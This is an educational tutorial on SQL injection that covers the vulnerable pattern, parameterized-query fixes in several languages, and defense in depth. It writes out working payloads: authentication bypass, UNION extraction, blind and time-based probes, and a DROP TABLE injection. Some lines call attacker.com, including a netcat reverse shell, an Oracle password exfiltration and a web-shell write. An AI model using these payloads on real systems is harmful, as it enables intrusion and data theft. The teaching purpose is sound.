SQL Injection

SQL Injection: When User Input Becomes Database Commands

SQL injection occurs when an application constructs a SQL query by concatenating user-supplied input directly into the query string, and the database executes that input as part of the SQL command. The database cannot distinguish between the intended query structure and the injected payload because both arrive as a single string.

The Vulnerable Pattern

Consider a login form that checks credentials:

# VULNERABLE — string concatenation
username = request.POST['username']
password = request.POST['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
result = db.execute(query)

If an attacker submits admin' -- as the username, the query becomes:

SELECT * FROM users WHERE username='admin' --' AND password=''

The -- comments out the rest of the query, bypassing the password check entirely. The attacker is now authenticated as admin.

Why This Happens

The root cause is a confusion of code and data. The SQL query structure (code) and the user input (data) are combined into a single string before the database parses it. The database parser sees one string and has no way to know which parts were intended as structure and which were intended as data.

Attack Progression

SQL injection attacks escalate in severity:

1. Authentication Bypass
The simplest attack. Input like ' OR '1'='1 makes the WHERE clause always true:

SELECT * FROM users WHERE username='' OR '1'='1' AND password=''

2. Data Exfiltration (Union-Based)
The UNION operator combines results from two SELECT statements:

' UNION SELECT username, password, null FROM users--

This appends the entire users table to the original query's results.

3. Blind Injection (Boolean-Based)
When the application does not return query results, attackers infer data one bit at a time:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

If the page loads normally, the first character is 'a'. If it errors or loads differently, it is not.

4. Time-Based Blind Injection
When even boolean responses are invisible, attackers use database delay functions:

'; IF (SELECT COUNT(*) FROM users) > 100 WAITFOR DELAY '0:0:5'--

A 5-second response delay confirms the condition is true.

5. Out-of-Band Exfiltration
Data is exfiltrated via DNS or HTTP requests to an attacker-controlled server:

'; EXEC xp_dirtree '\\attacker.com\share'--

Database-Specific Payloads

Each database has unique syntax for extraction:

• MySQL: SELECT @@version, LOAD_FILE('/etc/passwd'), INTO OUTFILE '/var/www/shell.php'
• PostgreSQL: COPY (SELECT '') TO PROGRAM 'nc attacker.com 4444 -e /bin/sh'
• MSSQL: xp_cmdshell('whoami'), OPENROWSET for network access
• Oracle: UTL_HTTP.request('http://attacker.com/'|| (SELECT password FROM users WHERE rownum=1))

Parameterized Queries: Separating Code from Data

Parameterized queries (also called prepared statements) are the definitive defense against SQL injection. They work by sending the query structure and the data to the database in separate steps. The database compiles the query structure first, then binds the data values to placeholders. Because the structure is already compiled, injected data can never change the query's meaning.

How Parameterized Queries Work

# SECURE — parameterized query
username = request.POST['username']
password = request.POST['password']
query = "SELECT * FROM users WHERE username = %s AND password = %s"
result = db.execute(query, (username, password))

The database receives the query with %s placeholders, compiles it into an execution plan, and then binds the actual values. Even if username contains admin' --, it is treated as a literal string value, not as SQL syntax.

Language-Specific Implementations

Python (psycopg2 for PostgreSQL):

cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Node.js (pg library):

const result = await pool.query('SELECT * FROM users WHERE id = $1', [userId]);

Java (JDBC PreparedStatement):

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();

PHP (PDO):

$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $userId]);

Why Escaping Is Not Enough

Escaping (e.g., mysql_real_escape_string) attempts to neutralize special characters by adding backslashes. It fails because:

1. Context-dependent escaping: Different contexts (string literal, identifier, LIKE clause) require different escaping rules. Missing one context leaves a vulnerability.
2. Encoding attacks: Multi-byte character sets can bypass escaping. A crafted sequence like 0xBF27 may be interpreted as a valid multi-byte character plus a quote.
3. Second-order injection: Escaped data stored in the database may be retrieved later and concatenated into a new query without re-escaping.

Parameterized queries eliminate these risks by design — there is no escaping step to get wrong.

Defense in Depth

Even with parameterized queries, add these layers:

1. Least privilege database accounts: The application's database user should not have DROP TABLE or xp_cmdshell permissions.
2. Input validation: Reject input that does not match expected formats (e.g., an ID field should only contain digits).
3. Stored procedures: Can help, but only if they do not dynamically build SQL from parameters.
4. WAF (Web Application Firewall): A WAF can block known injection patterns at the network edge, but it is a secondary control, not a primary defense.

Practice: Find the Vulnerability

Review this code and identify the injection point:

@app.route('/search')
def search():
    term = request.args.get('q')
    sort = request.args.get('sort', 'name')
    
    # Vulnerable: sort is concatenated without parameterization
    query = f"SELECT * FROM products WHERE name LIKE '%{term}%' ORDER BY {sort}"
    results = db.execute(query)
    return render_template('results.html', results=results)

The sort parameter is concatenated directly. An attacker can inject via sort=name; DROP TABLE products--. The term parameter is also vulnerable. Both must be parameterized — but ORDER BY cannot use placeholders in most databases. The fix is to validate sort against an allow-list of column names.